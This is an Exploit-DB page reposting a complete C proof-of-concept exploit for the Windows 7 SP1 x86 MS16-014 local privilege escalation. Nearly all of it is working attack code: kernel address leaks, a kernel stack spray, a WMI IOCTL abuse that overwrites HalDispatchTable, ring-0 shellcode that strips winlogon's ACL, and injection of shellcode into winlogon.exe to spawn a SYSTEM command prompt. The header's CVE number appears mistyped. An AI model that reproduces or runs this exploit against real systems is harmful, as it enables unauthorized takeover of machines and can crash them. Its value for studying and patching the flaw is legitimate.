Microsoft Windows 7 SP1 (x86) – Local Privilege Escalation (MS16-014)

  • 作者: blomster81
    日期: 2016-06-29
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/40039/
  • /* 
    # Exploit Title: Elevation of privilege on Windows 7 SP1 x86
    # Date: 28/06-2016
    # Exploit Author: @blomster81
    # Vendor Homepage: www.microsoft.com
    # Version: Windows 7 SP1 x86
    # Tested on: Windows 7 SP1 x86
    # CVE : 2016-0400
    
    MS16-014 EoP PoC created from 
    https://github.com/Rootkitsmm/cve-2016-0040/blob/master/poc.cc
    Spawns CMD.exe with SYSTEM rights. 
    Overwrites HaliSystemQueryInformation, but does not replace it, so BSOD will occur at some point
    
    ********* EDB Note *********
    
    ntos.h is available here: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40039.zip
    
    ***************************
    
    */
    
    #include "stdafx.h"
    #include <Windows.h>
    #include <winioctl.h>
    #include "ntos.h"
    #include <TlHelp32.h>
    
    
    typedef union {
    	HANDLE Handle;
    	ULONG64 Handle64;
    	ULONG32 Handle32;
    }
    HANDLE3264, *PHANDLE3264;
    
    typedef struct {
    	ULONG HandleCount;
    	ULONG Action;
    	HANDLE /* PUSER_THREAD_START_ROUTINE */ UserModeCallback;
    	HANDLE3264 UserModeProcess;
    	HANDLE3264 Handles[20];
    }
    WMIRECEIVENOTIFICATION, *PWMIRECEIVENOTIFICATION;
    
    #define RECEIVE_ACTION_CREATE_THREAD 2 // Mark guid objects as requiring
    
    typedef struct {
    	IN VOID * ObjectAttributes;
    	IN ACCESS_MASK DesiredAccess;
    
    	OUT HANDLE3264 Handle;
    }
    WMIOPENGUIDBLOCK, *PWMIOPENGUIDBLOCK;
    
    typedef enum _KPROFILE_SOURCE {
    	ProfileTime,
    	ProfileAlignmentFixup,
    	ProfileTotalIssues,
    	ProfilePipelineDry,
    	ProfileLoadInstructions,
    	ProfilePipelineFrozen,
    	ProfileBranchInstructions,
    	ProfileTotalNonissues,
    	ProfileDcacheMisses,
    	ProfileIcacheMisses,
    	ProfileCacheMisses,
    	ProfileBranchMispredictions,
    	ProfileStoreInstructions,
    	ProfileFpInstructions,
    	ProfileIntegerInstructions,
    	Profile2Issue,
    	Profile3Issue,
    	Profile4Issue,
    	ProfileSpecialInstructions,
    	ProfileTotalCycles,
    	ProfileIcacheIssues,
    	ProfileDcacheAccesses,
    	ProfileMemoryBarrierCycles,
    	ProfileLoadLinkedIssues,
    	ProfileMaximum
    
    } KPROFILE_SOURCE, *PKPROFILE_SOURCE;
    
    typedef struct _DESKTOPINFO
    {
    	/* 000 */ PVOIDpvDesktopBase;
    	/* 008 */ PVOIDpvDesktopLimit;
    
    } DESKTOPINFO, *PDESKTOPINFO;
    
    
    typedef struct _CLIENTINFO
    {
    	/* 000 */ DWORD CI_flags;
    	/* 004 */ DWORD cSpins;
    	/* 008 */ DWORD dwExpWinVer;
    	/* 00c */ DWORD dwCompatFlags;
    	/* 010 */ DWORD dwCompatFlags2;
    	/* 014 */ DWORD dwTIFlags;
    	/* 018 */ DWORD				filler1;
    	/* 01c */ DWORD				filler2;
    	/* 020 */ PDESKTOPINFOpDeskInfo;
    	/* 028 */ ULONG_PTR ulClientDelta;
    
    } CLIENTINFO, *PCLIENTINFO;
    
    typedef struct _HANDLEENTRY {
    	PVOIDphead;
    	ULONG_PTRpOwner;
    	BYTEbType;
    	BYTEbFlags;
    	WORDwUniq;
    }HANDLEENTRY, *PHANDLEENTRY;
    
    typedef struct _SERVERINFO {
    	DWORD dwSRVIFlags;
    	DWORD64 cHandleEntries;
    	WORD wSRVIFlags;
    	WORD wRIPPID;
    	WORD wRIPError;
    }SERVERINFO, *PSERVERINFO;
    
    typedef struct _SHAREDINFO {
    	PSERVERINFO psi;
    	PHANDLEENTRY aheList;
    	ULONG HeEntrySize;
    	ULONG_PTR pDispInfo;
    	ULONG_PTR ulSharedDelta;
    	ULONG_PTR awmControl;
    	ULONG_PTR DefWindowMsgs;
    	ULONG_PTR DefWindowSpecMsgs;
    }SHAREDINFO, *PSHAREDINFO;
    
    #define IOCTL_WMI_RECEIVE_NOTIFICATIONS CTL_CODE(FILE_DEVICE_UNKNOWN, 0x51, METHOD_BUFFERED, FILE_WRITE_ACCESS)
    
    typedef ULONG(__stdcall *g_ZwMapUserPhysicalPages)(PVOID, ULONG, PULONG);
    typedef NTSTATUS(_stdcall *_NtQuerySystemInformation)(SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength);
    typedef NTSTATUS(_stdcall *_NtQueryIntervalProfile)(KPROFILE_SOURCE ProfilSource, PULONG Interval);
    
    DWORD g_HalDispatchTable = 0;
    void* kHandle;
    HWND g_window = NULL;
    const WCHAR g_windowClassName[] = L"Victim_Window";
    WNDCLASSEX wc;
    PSHAREDINFO g_pSharedInfo;
    PSERVERINFO g_pServerInfo;
    HANDLEENTRY* g_UserHandleTable;
    
    LRESULT CALLBACK WProc(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam)
    {
    	return DefWindowProc(hwnd, uMsg, wParam, lParam);
    }
    
    DWORD getProcessId(wchar_t* str)
    {
    	HANDLE hProcessSnap;
    	PROCESSENTRY32 pe32;
    	DWORD PID;
    
    	hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    	if (hProcessSnap == INVALID_HANDLE_VALUE)
    	{
    		return 0;
    	}
    
    	pe32.dwSize = sizeof(PROCESSENTRY32);
    	if (!Process32First(hProcessSnap, &pe32))
    	{
    		CloseHandle(hProcessSnap);
    		return 0;
    	}
    
    	do
    	{
    		if (!wcscmp(pe32.szExeFile, str))
    		{
    			wprintf(L"Process: %s found\n", pe32.szExeFile);
    			PID = pe32.th32ProcessID;
    			return PID;
    		}
    	} while (Process32Next(hProcessSnap, &pe32));
    	return 0;
    }
    
    void Launch()
    {
    	void* pMem;
    	char shellcode[] =
    		"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
    		"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
    		"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2"
    		"\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"
    		"\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3"
    		"\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d"
    		"\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58"
    		"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b"
    		"\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff"
    		"\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x6a\x01\x8d\x85\xb9\x00"
    		"\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a"
    		"\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75"
    		"\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5\x63\x6d\x64\x2e"
    		"\x65\x78\x65\x00";
    
    	wchar_t* str = L"winlogon.exe";
    	DWORD PID = getProcessId(str);
    	HANDLE hEx = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);
    	pMem = VirtualAllocEx(hEx, NULL, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    	DWORD res = WriteProcessMemory(hEx, pMem, shellcode, sizeof(shellcode), 0);
    	HANDLE res2 = CreateRemoteThread(hEx, NULL, 0, (LPTHREAD_START_ROUTINE)pMem, NULL, 0, NULL);
    }
    
    BOOL leakHal()
    {
    	_NtQuerySystemInformation NtQuerySystemInformation = (_NtQuerySystemInformation)GetProcAddress(GetModuleHandleA("NTDLL.DLL"), "NtQuerySystemInformation");
    	PRTL_PROCESS_MODULES pModuleInfo;
    	DWORD ntoskrnlBase;
    	DWORD HalDTUser, HalDTOffset;
    	HMODULE userKernel;
    
    	pModuleInfo = (PRTL_PROCESS_MODULES)VirtualAlloc(NULL, 0x100000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    	if (pModuleInfo == NULL)
    	{
    		printf("Could not allocate memory\n");
    		return FALSE;
    	}
    	NtQuerySystemInformation(SystemModuleInformation, pModuleInfo, 0x100000, NULL);
    	ntoskrnlBase = (DWORD)pModuleInfo->Modules[0].ImageBase;
    	userKernel = LoadLibraryEx(L"ntoskrnl.exe", NULL, DONT_RESOLVE_DLL_REFERENCES);
    	if (userKernel == NULL)
    	{
    		printf("Could not load ntoskrnl.exe\n");
    		return FALSE;
    	}
    
    	HalDTUser = (DWORD)GetProcAddress(userKernel, "HalDispatchTable");
    	HalDTOffset = HalDTUser - (DWORD)userKernel;
    	g_HalDispatchTable = ntoskrnlBase + HalDTOffset + 0x9000;
    	return TRUE;
    }
    
    BOOL setup()
    {
    	LoadLibraryA("user32.dll");
    
    	wc.cbSize = sizeof(WNDCLASSEX);
    	wc.style = 0;
    	wc.lpfnWndProc = WProc;
    	wc.cbClsExtra = 0;
    	wc.cbWndExtra = 0;
    	wc.hInstance = NULL;
    	wc.hCursor = NULL;
    	wc.hIcon = NULL;
    	wc.hbrBackground = (HBRUSH)(COLOR_WINDOW + 1);
    	wc.lpszMenuName = NULL;
    	wc.lpszClassName = g_windowClassName;
    	wc.hIconSm = NULL;
    
    	if (!RegisterClassEx(&wc))
    	{
    		printf("Failed to register window: %d\n", GetLastError());
    		return FALSE;
    	}
    	g_window = CreateWindowEx(WS_EX_CLIENTEDGE, g_windowClassName, L"Victim_Window", WS_OVERLAPPEDWINDOW, CW_USEDEFAULT, CW_USEDEFAULT, 240, 120, NULL, NULL, NULL, NULL);
    	if (g_window == NULL)
    	{
    		printf("Failed to create window: %d\n", GetLastError());
    		return FALSE;
    	}
    
    	g_pSharedInfo = (PSHAREDINFO)GetProcAddress(LoadLibraryA("user32.dll"), "gSharedInfo");
    	g_UserHandleTable = g_pSharedInfo->aheList;
    	g_pServerInfo = g_pSharedInfo->psi;
    
    	return TRUE;
    }
    
    DWORD leakWndAddr(HWND hwnd)
    {
    	DWORD addr = 0;
    	HWND kernelHandle = NULL;
    
    	for (int i = 0; i < g_pServerInfo->cHandleEntries; i++)
    	{
    		kernelHandle = (HWND)(i | (g_UserHandleTable[i].wUniq << 0x10));
    		if (kernelHandle == hwnd)
    		{
    			addr = (DWORD)g_UserHandleTable[i].phead;
    			break;
    		}
    	}
    	return addr;
    }
    
    VOID SprayKernelStack() {
    	g_ZwMapUserPhysicalPages ZwMapUserPhysicalPages = (g_ZwMapUserPhysicalPages)GetProcAddress(GetModuleHandleA("NTDLL.DLL"), "ZwMapUserPhysicalPages");
    	if (ZwMapUserPhysicalPages == NULL)
    	{
    		printf("Could not get ZwMapUserPhysicalPages\n");
    		return;
    	}
    	BYTE buffer[4096];
    	DWORD value = g_HalDispatchTable - 0x3C + 0x4;
    	for (int i = 0; i < sizeof(buffer) / 4; i++)
    	{
    		memcpy(buffer + i * 4, &value, sizeof(DWORD));
    	}
    	printf("Where is at: 0x%x\n", buffer);
    	ZwMapUserPhysicalPages(buffer, sizeof(buffer) / sizeof(DWORD), (PULONG)buffer);
    }
    
    __declspec(noinline) int Shellcode()
    {
    	__asm {
    		mov eax, kHandle // WND - Which window? Check this
    		mov eax, [eax + 8] // THREADINFO
    		mov eax, [eax] // ETHREAD
    		mov eax, [eax + 0x150] // KPROCESS
    		mov eax, [eax + 0xb8] // flink
    		procloop:
    		lea edx, [eax - 0xb8] // KPROCESS
    		mov eax, [eax]
    		add edx, 0x16c // module name
    		cmp dword ptr[edx], 0x6c6e6977 // �winl� for winlogon.exe
    		jne procloop
    		sub edx, 0x170
    		mov dword ptr[edx], 0x0 // NULL ACL
    		ret
    	}
    }
    
    int main() {
    	DWORD dwBytesReturned;
    	HANDLE threadhandle;
    	WMIRECEIVENOTIFICATION buffer;
    	CHAR OutPut[1000];
    
    	if (!setup())
    	{
    		printf("Could not setup window\n");
    		return 0;
    	}
    
    
    	PVOID userSC = VirtualAlloc((VOID*)0x2a000000, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    	kHandle = (void*)leakWndAddr(g_window);
    	memset(userSC, 0x41, 0x1000);
    	memcpy(userSC, Shellcode, 0x40);
    
    
    	if (!leakHal())
    	{
    		printf("Could not leak Hal\n");
    		return 0;
    	}
    	printf("HalDispatchTable is at: 0x%x\n", g_HalDispatchTable);
    
    	DWORD value = (DWORD)userSC;
    	PBYTE buff = (PBYTE)&buffer;
    	for (int i = 0; i < sizeof(buffer) / 4; i++)
    	{
    		memcpy(buff + i * 4, &value, sizeof(DWORD));
    	}
    	printf("What is at: 0x%x\n", buff);
    
    	buffer.HandleCount = 0;
    	buffer.Action = RECEIVE_ACTION_CREATE_THREAD;
    	buffer.UserModeProcess.Handle = GetCurrentProcess();
    
    	HANDLE hDriver = CreateFileA("\\\\.\\WMIDataDevice", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    	if (hDriver != INVALID_HANDLE_VALUE) {
    		SprayKernelStack();
    
    		if (!DeviceIoControl(hDriver, IOCTL_WMI_RECEIVE_NOTIFICATIONS, &buffer, sizeof(buffer), &OutPut, sizeof(OutPut), &dwBytesReturned, NULL)) {
    			return 1;
    		}
    
    	}
    	_NtQueryIntervalProfile NtQueryIntervalProfile = (_NtQueryIntervalProfile)GetProcAddress(GetModuleHandleA("NTDLL.DLL"), "NtQueryIntervalProfile");
    	ULONG result;
    	KPROFILE_SOURCE stProfile = ProfileTotalIssues;
    	NtQueryIntervalProfile(stProfile, &result);
    	printf("SYSTEM shell comming\n");
    	Launch();
    	printf("All done, exiting\n");
    
    	return 0;
    }